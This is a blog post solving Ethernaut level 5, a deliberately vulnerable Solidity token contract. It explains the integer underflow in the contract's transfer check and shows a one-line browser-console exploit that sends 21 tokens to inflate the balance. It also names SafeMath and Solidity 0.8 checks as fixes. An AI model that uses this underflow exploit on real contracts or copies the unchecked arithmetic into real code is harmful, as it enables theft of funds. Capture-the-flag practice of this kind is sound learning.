DEV Community

Cover image for Daily Ethernaut Challenge - #5 Token
Turbo Panumarch
Turbo Panumarch

Posted on

Daily Ethernaut Challenge - #5 Token

This is the series on playing with Ethernaut, a level-based solidity challenge focusing on the hands-on solidity/web3 hacking. And I like this for adding fun to learning. Thanks to Openzeppelin team.

Let's talk about the challenge

This challenge has a difficulty of 3/10. We start with 20 tokens and have to increase our balance from the initial value. Sound simple?

Here is the code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
Enter fullscreen mode Exit fullscreen mode

Link to play:

Challenge Analysis

To have our balance increased normally, we would need someone to send us a new token or to withdraw it from somewhere. But it does not seem to be possible with this token.

So our guess would be something about number overflow or underflow. The number overflow in Solidity can be really problematic.

Let's say we do this.

uint256 a = 10
uint256 b = 20
uint256 c = a - b // => 115792089237316195423570985008687907853269984665640564039457584007913129639926
Enter fullscreen mode Exit fullscreen mode

What happened here? Why it is not -10 😱😱😱 ?

Prior to the Solidity version 0.8.x, when a number in solidity goes above "max", it will roll back to "min" (overflow). And in the same manner, when a number goes below "min", it will roll to "max" (underflow).

In the above case, uint256 consists of non-negative numbers from 00 (min) to 225612^{256} - 1 (max).

And when it goes down below 0, it becomes the max number. So we get the result of max - 10

For example,

max_uint256 = 2 ** 256 - 1

uint256(-1) == max_uint256 // => true
uint256(-2) == max_uint256 - 1 // => true
uint256(-3) == max_uint256 - 2 // => true

max_uint256 + 1 == 0 // => true
max_uint256 + 2 == 1 // => true
max_uint256 + 3 == 2 // => true
Enter fullscreen mode Exit fullscreen mode

One simple way to protect overflow is using SafeMath. However, since the version 0.8.x, the overflow/underflow protection has already been built-in.

Read more about overflow and underflow:

Solving the challenge

So we would take a look at the code to see if there is any unprotected underflow.

 function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
Enter fullscreen mode Exit fullscreen mode

We can see the require line looks like something we can exploit. What if we make balances[msg.sender] - _value goes lower zero? This would roll the number back to max and pass the require condition.

Then on the next line balances[msg.sender] -= _value; our balance will go underflow and become max as well.


Same as before, it is recommended for you to try first before going forward.

The solution is pretty straightforward, if we want to have max balance possible, we need to make our balance become -1. And we start with 20, so we would want to transfer out 21.

// Put this in the browser console

// Any other address is ok
sendToAddress = contract.address

// In case we want any balance increased, any number more than 20 is good already.
sendAmount = 21

// call the transfer function with our evil params 😈
contract.transfer(sendToAddress, sendAmount)
Enter fullscreen mode Exit fullscreen mode

And...... Bam, now we are really rich! 🤑🤑🤑

That's it! Feel free to share if you have any ideas or suggestions.

Photo by NIKHIL KESHARWANI on Unsplash

Top comments (0)